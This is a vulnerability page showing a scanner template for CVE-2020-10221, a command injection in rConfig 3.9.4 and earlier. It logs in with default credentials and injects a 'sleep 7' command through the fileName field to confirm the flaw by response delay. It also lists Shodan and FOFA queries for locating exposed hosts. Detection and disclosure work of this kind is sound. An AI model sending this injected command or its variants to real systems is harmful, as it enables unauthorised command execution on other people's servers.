CVE-2020-10221: rConfig <= 3.9.4 - Authenticated OS Command Injection

2026-08-25 rConfig PoC Public

Description

lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.

PoC

id: CVE-2020-10221

info:
  name: rConfig <= 3.9.4 - Authenticated OS Command Injection
  author: Jayachandran from Securin Labs (https://securin.io)
  severity: high
  description: |
    lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.
  remediation: |
    Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.
  reference:
    - https://github.com/advisories/GHSA-hxjm-95v4-6qjj
    - https://www.exploit-db.com/exploits/48207
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10221
    cwe-id: CWE-78
    epss-score: 0.80221
    epss-percentile: 0.99597
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rconfig
    product: rconfig
    shodan-query: body:"/html/rconfig"
    fofa-query: body="/html/rconfig"
  tags: cve,cve2020,rconfig,rce,authenticated,intrusive,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rconfig")'
          - 'status_code==200'
        condition: and
        internal: true

  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&userpassword={{password}}

      - |
        @timeout: 30s
        POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileName=test%3Bsleep%207%3B

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f6e934872c79c8c0d04938194f90c8f9a324145eeed4c91f99c6e9222914f899022100f92965b7e5165b2fe0fb1036dbcabfa2699c67348ec875b93fbec44bdc14b19e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities